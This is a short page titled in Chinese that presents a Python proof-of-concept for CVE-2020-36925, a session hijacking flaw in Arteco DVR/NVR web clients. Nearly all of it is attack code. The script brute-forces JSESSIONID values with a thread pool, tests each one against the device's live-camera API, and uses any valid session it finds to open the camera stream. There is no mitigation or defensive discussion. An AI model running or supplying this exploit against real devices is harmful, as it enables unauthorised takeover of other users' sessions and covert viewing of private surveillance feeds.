CVE-2020-36925: Arteco DVR/NVR 会话劫持漏洞导致未授权访问摄像头

import requests import itertools from concurrent.futures import ThreadPoolExecutor # CVE-2020-36925 PoC - Arteco DVR/NVR Session Hijacking # Target: Arteco Web Client DVR/NVR # Vulnerability: Insufficient session ID complexity TARGET_URL = "http://target-arteco-device:8080" SESSION_COOKIE_NAME = "JSESSIONID" SESSION_ID_RANGE = range(100000, 200000) # Example range def create_session(): """Create initial session and get base session ID""" try: response = requests.get(f"{TARGET_URL}/login", timeout=10) if SESSION_COOKIE_NAME in response.cookies: return response.cookies[SESSION_COOKIE_NAME] except Exception as e: print(f"Session creation failed: {e}") return None def test_session(session_id): """Test if session ID is valid by accessing protected resource""" try: cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies, timeout=5 ) if response.status_code == 200 and "cameras" in response.text: return session_id, True except: pass return session_id, False def bruteforce_session(): """Bruteforce session IDs to find valid session""" print(f"[*] Creating initial session...") base_session = create_session() if base_session: print(f"[+] Base session ID: {base_session}") print(f"[*] Starting session ID bruteforce...") with ThreadPoolExecutor(max_workers=20) as executor: futures = [executor.submit(test_session, sid) for sid in SESSION_ID_RANGE] for future in futures: sid, is_valid = future.result() if is_valid: print(f"[!] VALID SESSION FOUND: {sid}") return sid print("[-] No valid session found") return None def access_camera_stream(session_id): """Access live camera stream with hijacked session""" cookies = {SESSION_COOKIE_NAME: session_id} response = requests.get( f"{TARGET_URL}/api/cameras/live", cookies=cookies ) print(f"[*] Camera stream response: {response.status_code}") return response.json() if __name__ == "__main__": valid_session = bruteforce_session() if valid_session: print(f"[+] Exploiting valid session: {valid_session}") access_camera_stream(valid_session)